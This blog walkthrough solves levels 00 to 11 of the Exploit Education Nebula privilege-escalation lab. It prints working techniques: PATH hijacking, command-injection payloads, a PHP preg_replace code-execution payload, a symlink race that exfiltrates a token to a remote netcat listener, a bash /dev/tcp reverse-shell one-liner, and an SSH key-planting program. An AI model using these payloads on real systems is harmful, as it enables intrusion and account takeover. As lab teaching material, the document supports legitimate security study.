Home Exploit Education - Nebula Walkthrough
Post
Cancel

Exploit Education - Nebula Walkthrough

This blog post contains a walkthrough of Nebula provided by Exploit Education. Nebula is a vulnerable ISO which has a variety of Linux privilege escalation vulnerabilities. Some of these vulnerabilties includes issues such as SUID files, Permissions, Race conditions etc.

After running the ISO, each level can be accessed by sshing into port 22 with the username {level}{levelno}. Instructions regarding each level are also provided within https://exploit.education/nebula/.

Level00

Link: https://exploit.education/nebula/level-00/

The goal of this level is to find a Set User ID program that will run as the “flag00” account. SetUID, which stands for set user ID on execution, is a special type of file permission in Unix which permits users to run certain programs with escalated privileges.

In Unix/Linux, the ownership of files and directories is based on the default uid (user-id) and gid (group-id) of the user who created them. When running a program/process within Linux, this process/program has the privilege of the user that ran the program. A SetUID bit can be set on an executable which when executed, will then run under the context of the file owner rather than the user who ran the program. For example, if an executable has the setuid bit set on it, and it’s owned by root, when launched by a normal user, it will run with root privileges.

To find all SetUID binaries within a system, the find command can be used with the following arguments:

1
find / -perm -u=s 2>/dev/null

The / argument is specified to run the command from the top most directory, the -perm option can be used to find files with specific mode. Files with SetUID and SetGID all have different mode numbers. For example, g=w will only match files which have mode 0020 since this is the mode number for files with group write permission set. The -u=s can be used to find files with the mode SetUID set. The /bin/…/flag00 is provided to ignore all stdout errors by sending them to dev/null.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
level00@nebula:~$ find / -perm -u=s 2>/dev/null
/bin/.../flag00
/bin/fusermount
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/sbin/mount.ecryptfs_private
/usr/bin/at
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/sudoedit
/usr/bin/traceroute6.iputils
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/sbin/pppd
/usr/sbin/uuidd
/rofs/bin/.../flag00
/rofs/bin/fusermount
/rofs/bin/mount
/rofs/bin/ping
/rofs/bin/ping6
/rofs/bin/su
/rofs/bin/umount
/rofs/sbin/mount.ecryptfs_private
/rofs/usr/bin/at
/rofs/usr/bin/chfn
/rofs/usr/bin/chsh
/rofs/usr/bin/gpasswd
/rofs/usr/bin/mtr
/rofs/usr/bin/newgrp
/rofs/usr/bin/passwd
/rofs/usr/bin/sudo
/rofs/usr/bin/sudoedit
/rofs/usr/bin/traceroute6.iputils
/rofs/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/rofs/usr/lib/eject/dmcrypt-get-device
/rofs/usr/lib/openssh/ssh-keysign
/rofs/usr/lib/pt_chown
/rofs/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/rofs/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/rofs/usr/sbin/pppd
/rofs/usr/sbin/uuidd

The /bin/.../flag00 binary can now be run to get the flag.

Level01

Link: https://exploit.education/nebula/level-01/

Level01 provides you with source code of a program that allows arbitrary programs to be executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Running the binary within the flag01 folder gives the following output.

1
2
3
level01@nebula:~$ cd ../flag01
level01@nebula:/home/flag01$ ./flag01 
and now what?

ltrace can be used to debug this binary and understand its functionality. ltrace is a debugging utility which hooks into the dynamic loading system, allowing it to insert shims which display the parameters which the applications uses when making the call, and the return value which the library call reports. It is mainly used to trace Linux system calls.

The ltrace output below just explains the source in a functional way where it takes the current uid and gid of the user who executed the binary

1
2
3
4
5
6
7
8
9
10
11
12
13
level01@nebula:/home/flag01$ ltrace ./flag01 
level01@nebula:/home/flag01$ id
uid=1002(level01) gid=1002(level01) groups=1002(level01)
__libc_start_main(0x80484a4, 1, 0xbfc49744, 0x8048510, 0x8048580 <unfinished ...>
getegid()                                                        = 1002
geteuid()                                                        = 1002
setresgid(1002, 1002, 1002, 0x288324, 0x287ff4)                  = 0
setresuid(1002, 1002, 1002, 0x288324, 0x287ff4)                  = 0
system("/usr/bin/env echo and now what?"and now what?
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                           = 0
+++ exited (status 0) +++

Looking at the system call it makes, it is possible to change the path of the echo binary since it is relying on /usr/bin/env to find the full path of the echo binary. The env can be run to see what the PATH environment of a user is, generally it is something like PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games. This output is the list of folders that system checks when a user runs a binary without providing its full path.

So complete this challenge, you can change your PATH to be called from an folder that you have write access to such as /home/level01/, and then create a new binary call echo, or a symbolic link which will then execute the getflag binary.

Start by creating a file called echo.c within the tmp directory or a directory you have write and execute privileges to and paste the following code:

1
2
3
4
5
6
7
#include<stdio.h>
#include<stdlib.h>

int main()
{
  system("/bin/bash");
}

This can then be compiled into a program as seen below.

1
2
level01@nebula:/tmp$ vi echo.c
level01@nebula:/tmp$ cc echo.c -o echo

Once you have a dummy echo program, you can then change your environment path to the /tmp directory, meaning everytime the system will check if a binary is within the tmp folder since it doesn’t know the full path. Now when running the flag01 binary this will run the dummy echo program and provide you a bash shell under the context of the flag01 user account. Then the getflag command can be executed.

Level02

Link: https://exploit.education/nebula/level-02/

Level 02 provides you with a program which takes a USER from an environment variable using asprintf. asprint is similar to sprintf, except that it dynamically allocates a string to hold the output, instead of putting the output in a buffer you allocate in advance. This is then given to the system function which invokes an operating system command with the provider “USER” variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

Similar to level01, the environment variable can be changed to something like ; /bin/sh which when taken by the program and is executed as part of the system function results in command injection, successfully provided a shell in the context on flag02.

Level03

Link: https://exploit.education/nebula/level-03/

Level03 provides you with the following files. The hint in the challenge page explains that there is a crontab that is called every couple of minutes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
level03@nebula:/home/flag03$ la -la
total 6
drwxr-x--- 3 flag03 level03  103 2011-11-20 20:39 .
drwxr-xr-x 1 root   root     100 2012-08-27 07:18 ..
-rw-r--r-- 1 flag03 flag03   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag03 flag03  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag03 flag03   675 2011-05-18 02:54 .profile
drwxrwxrwx 2 flag03 flag03     3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03    98 2011-11-20 21:22 writable.sh
level03@nebula:/home/flag03$ cat writable.sh 
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

level03@nebula:/home/flag03$ ls -la writable.d/
total 0
drwxrwxrwx 2 flag03 flag03    3 2012-08-18 05:24 .
drwxr-x--- 3 flag03 level03 103 2011-11-20 20:39 ..

Looking through the files, the writable.sh shell script is world-write-executable and iterates through all files provided within the /home/flag03/writable.d directory and runs thats using the bash terminal. The ulimit command before the bash command controls the max processes per user limit. This just sets the get and set user limit to second 5. The -x argument before bash checks to see if a file is executable before executing it.

To solve this challenge, you can create a shell script similar to the following

1
2
3
#!/bin/sh

/bin/getflag >> /home/flag03/writable.d/flag03.out

and wait for it to be executed to get the flag

An alternative way to solve this solution is to create a shell script like the following "bash -i >& /dev/tcp/192.168.1.8/8080 0>&1" > shell.sh and run nc -lvp 8080 on your machine. When the shell script executes, it will then give you a reverse shell.

Level04

Link: https://exploit.education/nebula/level-04/

Level04 requires you to read the token file, but the below code restricts the files that can be read.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

The read function takes a system call used to read data into a buffer and the write function is a system call that is used to write data out of a buffer. The strstr is the function that does the check to see whether the file name matches the string “token” and provides an error if it is true. This function searches the given string in the specified main string and returns the pointer to the first occurrence of the given string.

An easy way to bypass this check is by creating a symlink which points to the token file and read this file using the flag04 binary: ln -s /home/flag04/token /home/flag04/test

Level05

Link: https://exploit.education/nebula/level-05/

Level 5 challenge description states that your are looking for weak directory permissions. Going to the flag05 directory and listing the directory for all files, a .backup directory can be seen. Inside this directory contains a .tgz file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
level05@nebula:~$ cd ../flag05/
level05@nebula:/home/flag05$ ls
level05@nebula:/home/flag05$ ls -la
total 5
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 .
drwxr-xr-x 1 root   root     160 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh
level05@nebula:/home/flag05$ cd .backup/
level05@nebula:/home/flag05/.backup$ ls
backup-19072011.tgz

Extracting this tape archive file provides an ssh key, this ssh key can be used to ssh into the nebula system as the flag05 user.

1
2
3
4
5
6
level05@nebula:/tmp$ tar -xvzf backup-19072011.tgz 
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:/tmp$ ssh -i id_rsa flag05@192.168.1.3

Level06

Link: https://exploit.education/nebula/level-06/

This challenge states that the flag06 account credentials came from a legacy unix system.

Looking within the flag06 folder, no files can be found

1
2
3
4
5
6
7
8
level06@nebula:/home/flag06$ ls -la
total 5
drwxr-x--- 2 flag06 level06   66 2011-11-20 20:51 .
drwxr-xr-x 1 root   root     200 2012-08-27 07:18 ..
-rw-r--r-- 1 flag06 flag06   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag06 flag06  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag06 flag06   675 2011-05-18 02:54 .profile
level06@nebula:/home/flag06$ 

However, since the hint states legacy unix system, the /etc/passwd/ file can be checked.

1
2
3
level06@nebula:/home/flag06$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
level06@nebula:/home/flag06$ 

The password hash of the flag06 user can be seen within the passwd file.

In legacy unix systems, password hashes of a user used to be stored within the /etc/passwd file, this was then changed because /etc/passwd file are world readable by all users.

This password hash can then be cracked using John the ripper.

1
2
3
4
5
root@kali:~# cat hash.txt
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
root@kali:~# john hash.txt --show
flag06:hello:993:993::/home/flag06:/bin/sh
1 password hash cracked, 0 left

Level07

Link: https://exploit.education/nebula/level-07/

The description for level07 states that a perl cgi script is in use that allows a user to ping hosts to see if they were reachable from a web server. The source of the program has also been provided.

Looking at the CGI script, it takes a parameter called “Host” and inserts that as part of the ping command which then gets executed. This script is vulnerable to Command Injection.

The httpd config available within the flag07 directory also specifies what port the CGI script is running on.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
level07@nebula:/home/flag07$ ls
index.cgi  thttpd.conf
level07@nebula:/home/flag07$ cat thttpd.conf 
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

By making a curl request and chaining a command using the && operator, it is possible to verify the command injection. This can be seen in the output below.

1
2
3
4
5
6
7
8
9
10
snoopy@snoopy-MacBookPro:~/Documents$ curl http://192.168.1.3:7007/index.cgi?Host=127.0.0.1%20%26%26%20whoami
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.024 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.023 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.015 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.015/0.020/0.024/0.006 ms
flag07

Level08

Link: https://exploit.education/nebula/level-08/

Level 08 hints at World readable files being in use. Accessing the flag08 shows that a pcap file is available. This can be downloaded and accessed locally.

1
scp level08@192.168.1.3:/home/flag08/capture.pcap /home/snoopy/

Looking at this pcap file within Wireshark, the following can be seen.

1
2
3
..wwwbugs login: l.le.ev.ve.el.l8.8
..
Password: backdoor...00Rm8.ate

A possible password is displayed, however it looks mangled. It was not possible to loging as flag08 using backdoor…00Rm8.ate and backdoor00Rm8ate. Looking at the TCP/HTTP stream in HEX, the ASCII hex character 7f and Od stands out.

By looking up both characters online, it is possible to deduce that 7f is the Delete keyboard character and Od is the keyboard character.

So the user typed in ‘backdoor’ then deleted the characters ‘oor’ and the inserted ‘00Rm8’, the character ‘8’ was then removed for ‘a’, making the actual password backd00Rmate

Level09

Link: https://exploit.education/nebula/level-09/

Level 09 provides the following source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

The above PHP code takes two arguments, $filename and $use_me, However, only the $filename parameter seems to be used. the file mentioned within the filename parameter is then fetched, and is checked to see if a an array called ‘email’ is there, this can be verified by checking the provided regex:

This is then ran by the preg_replace command to replace the dot and the @ symbols. Looking online, the following articles mention that preg_replace is vulnerable to command injection.

  • http://www.madirish.net/402
  • https://bitquark.co.uk/blog/2013/07/23/the_unexpected_dangers_of_preg_replace

First try indicates that the values inserted within the system command is only being echoed back.

1
2
3
4
5
level09@nebula:/home/flag09$ vi /tmp/file.txt 
level09@nebula:/home/flag09$ ./flag09 /tmp/file.txt
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
snoopy AT foo dot com; system(\'whoami\')
level09@nebula:/home/flag09$ 

After trying multiple execution operators such as quotes, single quotes, backticks and much research, it looks like when providing a input similar to the below:

1
2
3
level09@nebula:/home/flag09$ cat /tmp/execute
$str = 'system(whoami)';
[email snoopy@foo.com $str] 

The script provides an error stating undefined variable.

1
2
3
4
level09@nebula:/home/flag09$ ./flag09 /tmp/execute foo
PHP Notice:  Undefined variable: str in /home/flag09/flag09.php(15) : regexp code on line 1
$str = 'system(whoami)';
snoopy AT foo dot com 

It seems variables cannot be set and cannot be called later on since all of this is being executed within preg_replace and then provided to the spam() function.

More research indicated that interpolation templates can be used to define variables: https://stackoverflow.com/questions/43437121/php-string-interpolation-syntax/43437427. An example of this would be something like {$variable}. However, pre_replace is evaling any input, we could just try passing it arbitrary commands.

Trying the following payload [email snoopy@foo.com ${‘whoami’}] sets a template as a variable which is the linux command ‘whoami’. However, this returns an error.

1
2
3
4
level09@nebula:/home/flag09$ ./flag09 /tmp/execute aaa
PHP Parse error:  syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code: 
spam("snoopy@foo.com ${\'whoami\'}") in /home/flag09/flag09.php on line 15

This error is due to the single quotes in use, that can be replaced with backticks :

1
[email snoopy@foo.com ${`whoami`}]

This payloads gets successfully interpreted as a command displayed the user the script is running as which is ‘flag09’.

1
2
3
4
level09@nebula:/home/flag09$ ./flag09 /tmp/execute aaa
PHP Notice:  Undefined variable: flag09
 in /home/flag09/flag09.php(15) : regexp code on line 1
snoopy AT foo dot com >

This payload can now be modified to run getflag.

Level10

Link: https://exploit.education/nebula/level-10/

Level10 contains a setuid binary which can upload a file given, but has certain restrictions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

An example of this can be seen below, where it is possible to send the passwd file of the system to a remote host on port 18211. The port 18211 is specified by the program and cannot be changed. On the remote host, netcat can be used to receive the file (nv -lvl 18211)

By analyzing the source code, it can be determined that the linux access function is used for the check. By reading its man page https://linux.die.net/man/2/access and looking at the warning section, it looks like the access function is vulnerable to race conditions. Further research also points to this http://www.cis.syr.edu/~wedu/Teaching/IntrCompSec/LectureNotes_New/Race_Condition.pdf

Reading the above lecture notes, this program can be exploited by creating a file the user has access to, then create a symbolic link back to the forbidden token file, then the flag10 program can be run multiple times to trigger the race condition.

This works because there is a short time window between executing the access() and open() functions. The window between the checking and using the file results in a Time-of-Check/Time-of-Use (TOCTOU) vulnerability. This is because the system might conduct context switch after access(), and run another process which will run as the flag10 user, so if you can read the file then, the token file will be fetched and successfully sent back.

1
2
3
level10@nebula:/tmp$ touch /tmp/accessiblefile
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token /tmp/token; \
> ln -sf /tmp/accessiblefile /tmp/token; done

The above bash liner will create a symbolic link for a file between the token we want to access and a file we have access to, this /tmp/token can now be given to the flag10 program. The same approach can be done to run the flag program multiple times with the opportunity to read the token.

1
2
3
4
5
6
7
level10@nebula:/home/flag10$ while true; do ./flag10 /tmp/token 192.168.1.8; done
You don't have access to /tmp/token
You don't have access to /tmp/token
You don't have access to /tmp/token
You don't have access to /tmp/token
Connecting to 192.168.1.8:18211 .. Unable to connect to host 192.168.1.8
You don't have access to /tmp/token

On the host the program is connecting to, netcat can be run with continuous mode by using the -k option.

1
2
3
4
5
6
7
8
9
10
11
12
snoopy@snoopy-MacBookPro:~$ sudo nc -klvp 18211
Listening on [0.0.0.0] (family 0, port 18211)
Connection from 192.168.1.10 51669 received!
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Connection from 192.168.1.10 51670 received!
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Connection from 192.168.1.10 51671 received!
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Connection from 192.168.1.10 51672 received!

This token can then be used to SSH as the flag10 user and run the getflag command.

Level11

Link: https://exploit.education/nebula/level-11/

Level 11 provides you with a program that executes a shell command in multiple ways and it is stated that there are two ways of completing this level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for
 * it. 
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

The program reads from stdin. The following code block within the main function checks for the value Content Length #define CL “Content-Length: “ along with its length and see if it provided by the user, if these values are not found, then an ‘invalid header’ is produced.

1
2
3
if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

Looking at the code flow, the program will then check to see if the content length is less than the buffer that was initialized in the beginning of the program. Additonal checks are also conducted with the fread function. The fread function will check the length of the values inserted see if it is 1.

1
2
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");

If the length is 1, then the process function is executed. The process function just turns the user input to a random character and feeds it to the system function. This can be tested with the following user input:

1
2
level11@nebula:/home/flag11$ echo -ne "Content-Length: 1\nA" | /home/flag11/flag11
sh: @: command not found

Here we passed the character “A”, when this gets processed by the “process” function, it is converted to the character “@” and is then given to the system command.

This can be tried with other characters. With a character such as “l”, it is converted in “m” on most occasions.

1
2
3
4
5
6
7
8
9
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11
sh: $'m\320\227': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11
sh: m@C: command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11
sh: m: command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11
sh: $'m\320\313': command not found
level11@nebula:~$ 

To summarize this program so far, the content of stdin is taken and mmap is used to convert file content into a char array that is passed into the process() function. The process function then decodes the char array before passing it into the system() function call. I struggled with this level so I ended up looking for hints on the internet. This gave me the following hint:

Since the bash shell is trying to execute a program called shell, we could create a C program which takes the correct SUID information of the flag11 account and runs the bash shell with their privileges. This can then be symlinked (like level 10).

This technique however didn’t work due to setuid bit not being set before the call to system. I ended up searching for solutions for this level and found the following working solution: Stack Overflow Nebula Level 11

Looking the “else” conditional logic, this part of the program can be triggered during the buffer length check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
} else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

To abuse this logic, we have to define the environment variable from the shell we run the exploit later on. This can be done using the following command.

1
export TEMP=/tmp

Looking at the flag11 folder, another possible attack vector would be to inject a authorized_keys key file within the .ssh folder.This could be possible by injecting into a PID of an process. In old Linux systems, a pid of a process is pretty predictable and srandom() seeded with time is predictable. In this scenario, this PID would need to be predicted while running the flag11 program.

An ssh key can be created for the level11 user

1
echo -e "/tmp/level11.key" | ssh-keygen -t rsa -b 2048 -C "level11@nebula"

The public key of the level 11 user can now be taken and the following program can now be created.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));


  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;
  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i] ^ key;
  }
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMPbdIp+lS2MR2oGvA36yE4wenUWZUY1OvNyy872Dx3No9LsWFWC6YOCQ4Unea4grPQCYZw/G7EbIgZSnWwW3+sBUASACxJQtQaAKKkK81C1jjarWMZFyN+1EjZqnaVPpj8qF33gOUKg3q2SUyi5p+a7CgzDS7nwYJ4RTdra38Q8K4HgJm1ZrgoKys7SiPnR6BXqq4DOzoJO8UXzwAUPRl0kV/2lRD2lo4LMieudTWKxZk/CQM5UG0TpwhnUmRIyCn3TwlcViSyp6wtzDY8sSekOh9UAdEwvMHAJX//RK3iEVrNz22v1N64RNQmoeNgyb8NYp7fyCxbwVavxHBvMaP level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  //process(buf, sizeof(buf));

  //if(NULL == (stream = popen("/home/flag11/flag11", "w"))) {
  //    errx(1, "popen");
  //}

  //printf("Get pid for attacked: \n");
  //if(fgets(line, sizeof(line), stdin) == NULL) {
  //    errx(1, "reading from stdin");
  //}

  pid = getpid()+1;
  //printf("PID: %d\n",pid);
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);

  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);

  //pclose(stream);
}
